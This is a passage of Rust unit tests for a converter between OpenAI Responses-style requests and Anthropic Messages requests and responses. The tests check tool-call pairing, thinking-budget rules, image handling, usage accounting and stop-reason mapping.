assert_eq!(result["messages"][0]["content"][0]["text"], "Hello"); + } + + #[test] + fn test_request_missing_max_output_tokens_injects_default() { + let input = json!({ + "model": "claude", + "input": [{ "role": "user", "content": "Hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["max_tokens"], 4096); + } + + #[test] + fn test_request_instructions_to_system() { + let input = json!({ + "model": "claude", + "max_output_tokens": 100, + "instructions": "You are helpful.", + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["system"], "You are helpful."); + } + + #[test] + fn test_request_no_instructions_no_system() { + let input = json!({ + "model": "claude", + "max_output_tokens": 100, + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert!(result.get("system").is_none()); + } + + #[test] + fn test_request_tools_and_filtering() { + let input = json!({ + "model": "claude", + "max_output_tokens": 100, + "input": [{ "role": "user", "content": "hi" }], + "tools": [ + { "type": "function", "name": "get_weather", "description": "d", "parameters": {"type": "object"} }, + { "type": "web_search" }, + { "type": "custom", "name": "apply_patch" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let tools = result["tools"].as_array().unwrap(); + assert_eq!(tools.len(), 2); + assert_eq!(tools[0]["name"], "get_weather"); + assert_eq!(tools[0]["input_schema"]["type"], "object"); + assert!(tools[0].get("parameters").is_none()); + assert_eq!(tools[1]["name"], "apply_patch"); + } + + #[test] + fn test_request_tool_choice_mapping() { + // A function tool must be present, else tool_choice is (correctly) dropped. + let base = |tc: Value| { + json!({ + "model": "c", "max_output_tokens": 100, + "input": [{ "role": "user", "content": "hi" }], + "tools": [{ "type": "function", "name": "x", "parameters": {"type": "object"} }], + "tool_choice": tc + }) + }; + assert_eq!( + responses_request_to_anthropic(base(json!("required")), 4096).unwrap()["tool_choice"], + json!({"type": "any"}) + ); + assert_eq!( + responses_request_to_anthropic(base(json!("auto")), 4096).unwrap()["tool_choice"], + json!({"type": "auto"}) + ); + assert_eq!( + responses_request_to_anthropic(base(json!({"type": "function", "name": "x"})), 4096) + .unwrap()["tool_choice"], + json!({"type": "tool", "name": "x"}) + ); + } + + #[test] + fn test_request_function_call_renests_into_assistant_tool_use() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "role": "assistant", "content": [{ "type": "output_text", "text": "Let me check" }] }, + { "type": "function_call", "call_id": "call_1", "name": "get_weather", "arguments": "{\"city\":\"Tokyo\"}" }, + { "type": "function_call_output", "call_id": "call_1", "output": "sunny" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + // The assistant-first history is normalized: a synthetic user message is + // prepended, and the complete assistant tool turn remains intact. + assert_eq!(messages.len(), 3); + assert_eq!(messages[0]["role"], "user"); + assert_eq!(messages[1]["role"], "assistant"); + assert_eq!(messages[1]["content"][0]["type"], "text"); + assert_eq!(messages[1]["content"][1]["type"], "tool_use"); + assert_eq!(messages[1]["content"][1]["id"], "call_1"); + assert_eq!(messages[1]["content"][1]["input"]["city"], "Tokyo"); + } + + #[test] + fn test_request_function_call_outputs_merge_into_one_user_message() { + // Consecutive function_call_output items (each paired with a preceding + // function_call) merge into a single user message of tool_result blocks. + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "{}" }, + { "type": "function_call", "call_id": "c2", "name": "t", "arguments": "{}" }, + { "type": "function_call_output", "call_id": "c1", "output": "A" }, + { "type": "function_call_output", "call_id": "c2", "output": "B" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + // Leading assistant history is normalized with a synthetic leading user. + let last = messages.last().unwrap(); + assert_eq!(last["role"], "user"); + let content = last["content"].as_array().unwrap(); + assert_eq!(content.len(), 2); + assert_eq!(content[0]["type"], "tool_result"); + assert_eq!(content[0]["tool_use_id"], "c1"); + assert_eq!(content[0]["content"], "A"); + assert_eq!(content[1]["tool_use_id"], "c2"); + } + + #[test] + fn test_request_unanswered_trailing_tool_use_is_dropped() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "role": "user", "content": "run it" }, + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "{}" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + assert_eq!(messages.len(), 1); + assert_eq!(messages[0]["role"], "user"); + assert_eq!(messages[0]["content"][0]["text"], "run it"); + } + + #[test] + fn test_request_partial_parallel_tool_turn_is_dropped_as_a_unit() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "role": "user", "content": "run both" }, + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "{}" }, + { "type": "function_call", "call_id": "c2", "name": "t", "arguments": "{}" }, + { "type": "function_call_output", "call_id": "c1", "output": "one" }, + { "role": "user", "content": [{ "type": "input_text", "text": "continue" }] } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + assert!(messages.iter().all(|message| { + message["content"].as_array().unwrap().iter().all(|block| { + !matches!( + block.get("type").and_then(Value::as_str), + Some("tool_use" | "tool_result") + ) + }) + })); + assert_eq!(messages.last().unwrap()["content"][0]["text"], "continue"); + } + + #[test] + fn test_request_tool_results_precede_user_text() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "role": "user", "content": "run it" }, + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "{}" }, + { "role": "user", "content": [{ "type": "input_text", "text": "then explain" }] }, + { "type": "function_call_output", "call_id": "c1", "output": "ok" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let content = result["messages"].as_array().unwrap().last().unwrap()["content"] + .as_array() + .unwrap(); + assert_eq!(content[0]["type"], "tool_result"); + assert_eq!(content[0]["tool_use_id"], "c1"); + assert_eq!(content[1]["type"], "text"); + assert_eq!(content[1]["text"], "then explain"); + } + + #[test] + fn test_request_orphan_tool_result_dropped() { + // A function_call_output whose matching function_call was dropped (e.g. by + // compaction) becomes an orphan tool_result; it must be removed so Anthropic + // does not 400, while the rest of the turn is preserved. + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "type": "function_call_output", "call_id": "ghost", "output": "X" }, + { "role": "user", "content": [{ "type": "input_text", "text": "hello" }] } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + assert_eq!(messages.len(), 1); + assert_eq!(messages[0]["role"], "user"); + let content = messages[0]["content"].as_array().unwrap(); + // Only the text survives; the orphan tool_result is gone. + assert_eq!(content.len(), 1); + assert_eq!(content[0]["type"], "text"); + assert_eq!(content[0]["text"], "hello"); + } + + #[test] + fn test_request_empty_text_blocks_dropped() { + // An empty/whitespace-only assistant text emitted alongside a tool_use must be + // filtered out (Anthropic 400s on empty text blocks), keeping the tool_use, and + // a user turn made up solely of empty text must not leave an empty message. + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "role": "user", "content": [{ "type": "input_text", "text": "hi" }] }, + { "role": "assistant", "content": [{ "type": "output_text", "text": "" }] }, + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "{}" }, + { "type": "function_call_output", "call_id": "c1", "output": "ok" }, + { "role": "user", "content": [{ "type": "input_text", "text": " " }] } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + // Empty assistant text is gone; no message carries an empty text block. + for msg in messages { + for block in msg["content"].as_array().unwrap() { + if block["type"] == "text" { + assert!(!block["text"].as_str().unwrap().trim().is_empty()); + } + } + assert!(!msg["content"].as_array().unwrap().is_empty()); + } + // The whitespace-only trailing user turn collapsed into the tool_result user message. + let last = messages.last().unwrap(); + assert_eq!(last["role"], "user"); + assert_eq!(last["content"][0]["type"], "tool_result"); + } + + #[test] + fn test_request_all_orphan_tool_results_error() { + // If the entire input is orphan tool_results, dropping them empties the + // message list and conversion errors (nothing valid to send to Anthropic). + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "type": "function_call_output", "call_id": "c1", "output": "A" }, + { "type": "function_call_output", "call_id": "c2", "output": "B" } + ] + }); + assert!(responses_request_to_anthropic(input, 4096).is_err()); + } + + #[test] + fn test_request_paired_tool_result_kept() { + // A tool_result whose function_call is present survives the orphan guard. + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "{}" }, + { "type": "function_call_output", "call_id": "c1", "output": "ok" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + let last = messages.last().unwrap(); + assert_eq!(last["role"], "user"); + assert_eq!(last["content"][0]["type"], "tool_result"); + assert_eq!(last["content"][0]["tool_use_id"], "c1"); + } + + #[test] + fn test_request_empty_arguments_parses_to_empty_object() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "" }, + { "type": "function_call_output", "call_id": "c1", "output": "ok" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + // function_call at the head → a synthetic user is prepended, tool_use is in the second assistant message. + assert_eq!(result["messages"][1]["content"][0]["input"], json!({})); + } + + #[test] + fn test_request_image_data_url() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [{ + "role": "user", + "content": [ + { "type": "input_text", "text": "what?" }, + { "type": "input_image", "image_url": "data:image/png;base64,abc123" } + ] + }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let content = result["messages"][0]["content"].as_array().unwrap(); + assert_eq!(content[1]["type"], "image"); + assert_eq!(content[1]["source"]["type"], "base64"); + assert_eq!(content[1]["source"]["media_type"], "image/png"); + assert_eq!(content[1]["source"]["data"], "abc123"); + } + + #[test] + fn test_request_top_level_content_items() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "type": "input_text", "text": "what?" }, + { "type": "input_image", "image_url": "data:image/png;base64,abc123" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + assert_eq!(messages.len(), 1); + assert_eq!(messages[0]["role"], "user"); + let content = messages[0]["content"].as_array().unwrap(); + assert_eq!(content[0]["type"], "text"); + assert_eq!(content[0]["text"], "what?"); + assert_eq!(content[1]["type"], "image"); + assert_eq!(content[1]["source"]["type"], "base64"); + assert_eq!(content[1]["source"]["data"], "abc123"); + } + + #[test] + fn test_request_image_http_url() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [{ + "role": "user", + "content": [{ "type": "input_image", "image_url": "https://x/y.png" }] + }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let block = &result["messages"][0]["content"][0]; + assert_eq!(block["type"], "image"); + assert_eq!(block["source"]["type"], "url"); + assert_eq!(block["source"]["url"], "https://x/y.png"); + } + + #[test] + fn test_request_effort_to_thinking_and_drops_temperature() { + let input = json!({ + "model": "c", + // Well above 2× the high-effort budget so the output-headroom cap + // (max_tokens/2) does not clamp it — this test covers effort mapping. + "max_output_tokens": 40000, + "temperature": 0.7, + "top_p": 0.9, + "reasoning": { "effort": "high" }, + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["thinking"]["type"], "enabled"); + assert_eq!(result["thinking"]["budget_tokens"], 16384); + assert!(result.get("temperature").is_none()); + assert!(result.get("top_p").is_none()); + } + + #[test] + fn test_adaptive_thinking_respects_model_defaults() { + let request = |model: &str| { + json!({ + "model": model, + "max_output_tokens": 4096, + "input": [{"role": "user", "content": "hi"}] + }) + }; + let sonnet = responses_request_to_anthropic(request("claude-sonnet-5"), 4096).unwrap(); + assert_eq!(sonnet["thinking"]["type"], "adaptive"); + + let opus = responses_request_to_anthropic(request("claude-opus-4.8"), 4096).unwrap(); + assert!(opus.get("thinking").is_none()); + } + + #[test] + fn test_request_unknown_effort_keeps_sampling_params() { + // An unrecognized effort should not enable thinking, nor swallow temperature/top_p. + let input = json!({ + "model": "c", + "max_output_tokens": 20000, + "temperature": 0.7, + "top_p": 0.9, + "reasoning": { "effort": "turbo" }, + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert!(result.get("thinking").is_none()); + assert_eq!(result["temperature"], 0.7); + assert_eq!(result["top_p"], 0.9); + } + + #[test] + fn test_request_tool_history_disables_thinking() { + // When tool history is present (function_call_output), do not inject thinking + // even if effort is set, and fall back to passing temperature/top_p through, + // to avoid the Anthropic 400 caused by a missing thinking block. + let input = json!({ + "model": "c", + "max_output_tokens": 20000, + "temperature": 0.5, + "reasoning": { "effort": "high" }, + "input": [ + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "{}" }, + { "type": "function_call_output", "call_id": "c1", "output": "ok" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert!(result.get("thinking").is_none()); + assert_eq!(result["temperature"], 0.5); + } + + #[test] + fn test_older_signed_turn_does_not_enable_thinking_for_unsigned_tool_call() { + let encrypted = encode_anthropic_thinking_block(&json!({ + "type": "thinking", + "thinking": "old reasoning", + "signature": "sig_old" + })) + .unwrap(); + let input = json!({ + "model": "claude-sonnet-5", + "max_output_tokens": 4096, + "reasoning": { "effort": "high" }, + "input": [ + { "role": "user", "content": "first question" }, + { "type": "reasoning", "encrypted_content": encrypted }, + { "role": "assistant", "content": [{ "type": "output_text", "text": "first answer" }] }, + { "role": "user", "content": "call the tool" }, + { "type": "function_call", "call_id": "c2", "name": "Read", "arguments": "{}" }, + { "type": "function_call_output", "call_id": "c2", "output": "ok" } + ] + }); + + let result = responses_request_to_anthropic(input, 4096).unwrap(); + + assert_eq!(result["thinking"]["type"], "disabled"); + let messages = result["messages"].as_array().unwrap(); + let paired_assistant = &messages[messages.len() - 2]; + assert_eq!(paired_assistant["role"], "assistant"); + assert_eq!(paired_assistant["content"][0]["type"], "tool_use"); + } + + #[test] + fn test_thinking_requires_all_parallel_tool_results_to_match_paired_turn() { + let paired = json!([ + {"role": "assistant", "content": [ + {"type": "thinking", "thinking": "reason", "signature": "sig"}, + {"type": "tool_use", "id": "c1", "name": "a", "input": {}}, + {"type": "tool_use", "id": "c2", "name": "b", "input": {}} + ]}, + {"role": "user", "content": [ + {"type": "tool_result", "tool_use_id": "c1", "content": "one"}, + {"type": "tool_result", "tool_use_id": "c2", "content": "two"} + ]} + ]); + assert!(trailing_turn_supports_thinking(paired.as_array().unwrap())); + + let mismatched = json!([ + paired[0].clone(), + {"role": "user", "content": [ + {"type": "tool_result", "tool_use_id": "c1", "content": "one"}, + {"type": "tool_result", "tool_use_id": "c3", "content": "three"} + ]} + ]); + assert!(!trailing_turn_supports_thinking( + mismatched.as_array().unwrap() + )); + } + + #[test] + fn test_request_completed_tool_round_reenables_thinking() { + // A *completed* tool round (assistant answered after the tool_result) followed + // by a fresh user question: the trailing turn is text-only, so thinking must be + // re-enabled — unlike a whole-history scan, which would stay off forever. + let input = json!({ + "model": "c", + "max_output_tokens": 20000, + "reasoning": { "effort": "high" }, + "input": [ + { "role": "user", "content": [{ "type": "input_text", "text": "hi" }] }, + { "type": "function_call", "call_id": "c1", "name": "t", "arguments": "{}" }, + { "type": "function_call_output", "call_id": "c1", "output": "ok" }, + { "role": "assistant", "content": [{ "type": "output_text", "text": "done" }] }, + { "role": "user", "content": [{ "type": "input_text", "text": "next question" }] } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + // The last message is a text-only user turn → not mid tool-cycle → thinking on. + let messages = result["messages"].as_array().unwrap(); + let last = messages.last().unwrap(); + assert_eq!(last["role"], "user"); + assert_eq!(last["content"][0]["type"], "text"); + assert_eq!(result["thinking"]["type"], "enabled"); + } + + #[test] + fn test_request_custom_tool_survives_with_required_choice() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [{ "role": "user", "content": "hi" }], + "tools": [ + { "type": "web_search" }, + { "type": "custom", "name": "apply_patch" } + ], + "tool_choice": "required" + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["tools"].as_array().unwrap().len(), 1); + assert_eq!(result["tools"][0]["name"], "apply_patch"); + assert_eq!(result["tool_choice"], json!({ "type": "any" })); + } + + #[test] + fn test_request_forced_tool_choice_disables_thinking_instead_of_downgrading() { + let input = json!({ + "model": "c", + "max_output_tokens": 20000, + "reasoning": { "effort": "high" }, + "tools": [{ "type": "function", "name": "x", "parameters": {"type": "object"} }], + "tool_choice": "required", + "input": [ + { "role": "user", "content": [{ "type": "input_text", "text": "hi" }] } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["thinking"]["type"], "disabled"); + assert_eq!(result["tool_choice"], json!({ "type": "any" })); + } + + #[test] + fn test_request_forced_tool_choice_kept_without_thinking() { + // With no effort (thinking off), a forced tool_choice is kept as-is. + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "tools": [{ "type": "function", "name": "x", "parameters": {"type": "object"} }], + "tool_choice": "required", + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["tool_choice"], json!({ "type": "any" })); + } + + #[test] + fn test_request_small_max_tokens_disables_thinking() { + // The chosen effort budget is clamped below max_tokens; after clamping it is + // < 1024 → disable thinking, fall back to sampling, and do not raise the + // caller's max_tokens (to avoid exceeding the model's output ceiling and 400). + let input = json!({ + "model": "c", + "max_output_tokens": 1000, + "temperature": 0.7, + "reasoning": { "effort": "high" }, + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert!(result.get("thinking").is_none()); + assert_eq!(result["max_tokens"], 1000); + assert_eq!(result["temperature"], 0.7); + } + + #[test] + fn test_request_thinking_budget_clamped_below_max_tokens() { + // The chosen effort budget exceeds half of max_tokens, so it is capped at + // max_tokens/2 (reserving the other half for the visible answer) while staying + // >= 1024, so thinking stays enabled. + let input = json!({ + "model": "c", + "max_output_tokens": 5000, + "reasoning": { "effort": "high" }, // budget 16384 + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["thinking"]["type"], "enabled"); + assert_eq!(result["thinking"]["budget_tokens"], 2500); + assert_eq!(result["max_tokens"], 5000); + } + + #[test] + fn test_request_default_max_tokens_leaves_output_headroom() { + // Regression: on the no-max_output_tokens fallback path, a large derived thinking + // budget must not consume nearly all of the default max_tokens. With default 8192 + // and high effort (16384), the budget is capped at 8192/2 = 4096, leaving 4096 for + // the visible answer (previously it clamped to 8191, leaving ~1 output token). + let input = json!({ + "model": "c", + "reasoning": { "effort": "high" }, + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 8192).unwrap(); + assert_eq!(result["thinking"]["type"], "enabled"); + assert_eq!(result["thinking"]["budget_tokens"], 4096); + assert_eq!(result["max_tokens"], 8192); + assert!( + result["max_tokens"].as_u64().unwrap() + - result["thinking"]["budget_tokens"].as_u64().unwrap() + >= 4096, + "at least half of max_tokens must remain for the visible answer" + ); + } + + #[test] + fn test_request_unpaired_tool_turn_is_dropped_before_thinking_gate() { + // A resumed/compacted history ending in an unpaired assistant tool_use is + // removed, leaving the original user prompt as a fresh thinking turn. + let input = json!({ + "model": "c", + "max_output_tokens": 40000, + "reasoning": { "effort": "high" }, + "input": [ + { "role": "user", "content": [{ "type": "input_text", "text": "run it" }] }, + { "type": "function_call", "call_id": "c1", "name": "sh", "arguments": "{}" } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + assert_eq!(messages.len(), 1); + assert_eq!(messages[0]["role"], "user"); + assert_eq!(result["thinking"]["type"], "enabled"); + } + + #[test] + fn test_request_reasoning_item_dropped() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "type": "reasoning", "id": "rs_1", "encrypted_content": "xxx" }, + { "role": "user", "content": [{ "type": "input_text", "text": "hi" }] } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + assert_eq!(messages.len(), 1); + assert_eq!(messages[0]["role"], "user"); + } + + #[test] + fn test_request_drops_openai_only_fields() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "store": false, + "include": ["reasoning.encrypted_content"], + "service_tier": "priority", + "parallel_tool_calls": true, + "input": [{ "role": "user", "content": "hi" }] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert!(result.get("store").is_none()); + assert!(result.get("include").is_none()); + assert!(result.get("service_tier").is_none()); + assert!(result.get("parallel_tool_calls").is_none()); + } + + // ==================== Response: Anthropic → Responses ==================== + + #[test] + fn test_response_text_end_turn() { + let input = json!({ + "id": "msg_1", + "type": "message", + "role": "assistant", + "model": "claude", + "content": [{ "type": "text", "text": "Hello!" }], + "stop_reason": "end_turn", + "usage": { "input_tokens": 10, "output_tokens": 5 } + }); + let result = anthropic_response_to_responses(input).unwrap(); + assert_eq!(result["id"], "resp_msg_1"); + assert_eq!(result["status"], "completed"); + assert_eq!(result["output"][0]["type"], "message"); + assert_eq!(result["output"][0]["content"][0]["type"], "output_text"); + assert_eq!(result["output"][0]["content"][0]["text"], "Hello!"); + assert_eq!(result["usage"]["input_tokens"], 10); + assert_eq!(result["usage"]["output_tokens"], 5); + assert_eq!(result["usage"]["total_tokens"], 15); + } + + #[test] + fn test_response_tool_use() { + let input = json!({ + "id": "msg_1", + "content": [{ + "type": "tool_use", + "id": "call_1", + "name": "get_weather", + "input": { "city": "Tokyo" } + }], + "stop_reason": "tool_use", + "usage": { "input_tokens": 10, "output_tokens": 15 } + }); + let result = anthropic_response_to_responses(input).unwrap(); + assert_eq!(result["status"], "completed"); + assert_eq!(result["output"][0]["type"], "function_call"); + assert_eq!(result["output"][0]["call_id"], "call_1"); + assert_eq!(result["output"][0]["name"], "get_weather"); + assert_eq!(result["output"][0]["arguments"], "{\"city\":\"Tokyo\"}"); + } + + #[test] + fn test_response_thinking_becomes_reasoning() { + let input = json!({ + "id": "msg_1", + "content": [ + { "type": "thinking", "thinking": "Let me think" }, + { "type": "text", "text": "answer" } + ], + "stop_reason": "end_turn", + "usage": { "input_tokens": 1, "output_tokens": 2 } + }); + let result = anthropic_response_to_responses(input).unwrap(); + assert_eq!(result["output"][0]["type"], "reasoning"); + assert_eq!(result["output"][0]["summary"][0]["text"], "Let me think"); + assert_eq!(result["output"][1]["type"], "message"); + } + + #[test] + fn test_response_max_tokens_incomplete() { + let input = json!({ + "id": "msg_1", + "content": [{ "type": "text", "text": "partial" }], + "stop_reason": "max_tokens", + "usage": { "input_tokens": 1, "output_tokens": 2 } + }); + let result = anthropic_response_to_responses(input).unwrap(); + assert_eq!(result["status"], "incomplete"); + assert_eq!(result["incomplete_details"]["reason"], "max_output_tokens"); + } + + #[test] + fn test_response_usage_cache_no_double_count() { + let input = json!({ + "id": "msg_1", + "content": [{ "type": "text", "text": "x" }], + "stop_reason": "end_turn", + "usage": { + "input_tokens": 20, + "output_tokens": 5, + "output_tokens_details": {"thinking_tokens": 3}, + "cache_read_input_tokens": 60, + "cache_creation_input_tokens": 20 + } + }); + let result = anthropic_response_to_responses(input).unwrap(); + // input_tokens = fresh + cache_read = 20 + 60 = 80 (excluding cache_creation). + // The Codex billing calculator only subtracts cache_read from input (→ billable=fresh=20), + // and separately lists cache-creation cost via cache_creation_input_tokens; folding creation into input would double-charge. + assert_eq!(result["usage"]["input_tokens"], 80); + assert_eq!(result["usage"]["output_tokens"], 5); + assert_eq!( + result["usage"]["output_tokens_details"]["reasoning_tokens"], + 3 + ); + // total still includes everything: 80 + cache_creation 20 + output 5 = 105 + assert_eq!(result["usage"]["total_tokens"], 105); + assert_eq!(result["usage"]["input_tokens_details"]["cached_tokens"], 60); + // cache_creation is passed through explicitly for downstream billing attribution (counted only once) + assert_eq!(result["usage"]["cache_creation_input_tokens"], 20); + } + + #[test] + fn test_response_read_tool_drops_empty_pages() { + let input = json!({ + "id": "msg_1", + "content": [{ + "type": "tool_use", + "id": "call_1", + "name": "Read", + "input": { "file_path": "/tmp/x", "pages": "" } + }], + "stop_reason": "tool_use" + }); + let result = anthropic_response_to_responses(input).unwrap(); + let args = result["output"][0]["arguments"].as_str().unwrap(); + assert!(args.contains("/tmp/x")); + assert!(!args.contains("pages")); + } + + #[test] + fn test_response_refusal_is_incomplete_content_filter() { + let input = json!({ + "id": "msg_1", + "content": [{ "type": "text", "text": "" }], + "stop_reason": "refusal", + "usage": { "input_tokens": 1, "output_tokens": 0 } + }); + let result = anthropic_response_to_responses(input).unwrap(); + assert_eq!(result["status"], "incomplete"); + assert_eq!(result["incomplete_details"]["reason"], "content_filter"); + } + + #[test] + fn test_signed_thinking_round_trips_through_responses_tool_loop() { + let converted = anthropic_response_to_responses(json!({ + "id": "msg_signed", + "model": "claude-sonnet-5", + "stop_reason": "tool_use", + "content": [ + {"type": "thinking", "thinking": "check", "signature": "sig_123"}, + {"type": "tool_use", "id": "call_1", "name": "Read", "input": {"path": "/tmp/a"}} + ] + })) + .unwrap(); + let reasoning = converted["output"][0].clone(); + assert!(reasoning["encrypted_content"] + .as_str() + .unwrap() + .starts_with(ANTHROPIC_THINKING_ENCRYPTED_PREFIX)); + + let replay = responses_request_to_anthropic( + json!({ + "model": "claude-sonnet-5", + "max_output_tokens": 4096, + "reasoning": {"effort": "high"}, + "input": [ + reasoning, + converted["output"][1].clone(), + {"type": "function_call_output", "call_id": "call_1", "output": "ok"} + ] + }), + 4096, + ) + .unwrap(); + assert_eq!(replay["thinking"]["type"], "adaptive"); + assert_eq!(replay["messages"][1]["content"][0]["type"], "thinking"); + assert_eq!(replay["messages"][1]["content"][0]["signature"], "sig_123"); + } + + #[test] + fn test_redacted_thinking_is_preserved_without_visible_summary() { + let response = anthropic_response_to_responses(json!({ + "id": "msg_redacted", + "content": [{"type": "redacted_thinking", "data": "opaque"}] + })) + .unwrap(); + assert_eq!(response["output"][0]["summary"], json!([])); + assert!(response["output"][0]["encrypted_content"].is_string()); + } + + #[test] + fn test_namespace_tool_response_restores_namespace() { + let context = build_codex_tool_context_from_request(&json!({ + "tools": [{ + "type": "namespace", + "name": "mcp_files", + "tools": [{"type": "function", "name": "read", "parameters": {"type": "object"}}] + }] + })); + let response = anthropic_response_to_responses_with_context( + json!({ + "id": "msg_ns", + "content": [{"type": "tool_use", "id": "call_1", "name": "mcp_files__read", "input": {}}] + }), + &context, + ) + .unwrap(); + assert_eq!(response["output"][0]["type"], "function_call"); + assert_eq!(response["output"][0]["name"], "read"); + assert_eq!(response["output"][0]["namespace"], "mcp_files"); + } + + #[test] + fn test_success_status_error_envelope_is_not_completed() { + let error = anthropic_response_to_responses(json!({ + "type": "error", + "error": {"type": "overloaded_error", "message": "busy"} + })) + .unwrap_err(); + assert!(error.to_string().contains("overloaded_error")); + } + + #[test] + fn test_context_window_stop_reason_is_incomplete() { + let response = anthropic_response_to_responses(json!({ + "id": "msg_ctx", + "stop_reason": "model_context_window_exceeded", + "content": [{"type": "text", "text": "partial"}] + })) + .unwrap(); + assert_eq!(response["status"], "incomplete"); + assert_eq!( + response["incomplete_details"]["reason"], + "max_output_tokens" + ); + } + + #[test] + fn test_request_parallel_tool_calls_false_disables_parallel_use() { + let response = responses_request_to_anthropic( + json!({ + "model": "c", + "input": [{"role": "user", "content": "hi"}], + "tools": [{"type": "function", "name": "x", "parameters": {"type": "object"}}], + "parallel_tool_calls": false + }), + 4096, + ) + .unwrap(); + assert_eq!(response["tool_choice"]["type"], "auto"); + assert_eq!(response["tool_choice"]["disable_parallel_tool_use"], true); + } + + #[test] + fn test_request_trims_trailing_assistant_whitespace() { + let response = responses_request_to_anthropic( + json!({ + "model": "c", + "input": [ + {"role": "user", "content": "continue"}, + {"role": "assistant", "content": [{"type": "output_text", "text": "prefix \n"}]} + ] + }), + 4096, + ) + .unwrap(); + assert_eq!(response["messages"][1]["content"][0]["text"], "prefix"); + } + + #[test] + fn test_structured_tool_output_preserves_text_and_image_blocks() { + let response = responses_request_to_anthropic( + json!({ + "model": "c", + "input": [ + {"type": "function_call", "call_id": "c1", "name": "inspect", "arguments": "{}"}, + {"type": "function_call_output", "call_id": "c1", "output": [ + {"type": "output_text", "text": "result"}, + {"type": "input_image", "image_url": "data:image/png;base64,abc"} + ]} + ] + }), + 4096, + ) + .unwrap(); + let content = &response["messages"][2]["content"][0]["content"]; + assert_eq!(content[0]["type"], "text"); + assert_eq!(content[1]["type"], "image"); + } + + // ==================== Request normalization: non-empty & first is user ==================== + + #[test] + fn test_request_empty_messages_errors() { + // input is entirely reasoning (dropped) → messages is empty → error explicitly rather than leaving it to the upstream 400. + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "instructions": "sys", + "input": [ + { "type": "reasoning", "id": "rs_1", "encrypted_content": "xxx" } + ] + }); + assert!(responses_request_to_anthropic(input, 4096).is_err()); + } + + #[test] + fn test_request_assistant_first_gets_leading_user() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [ + { "role": "assistant", "content": [{ "type": "output_text", "text": "hi" }] } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let messages = result["messages"].as_array().unwrap(); + assert_eq!(messages[0]["role"], "user"); + assert_eq!(messages[1]["role"], "assistant"); + } + + // ==================== tools / tool_choice edge cases ==================== + + #[test] + fn test_request_tool_without_description_or_params() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + 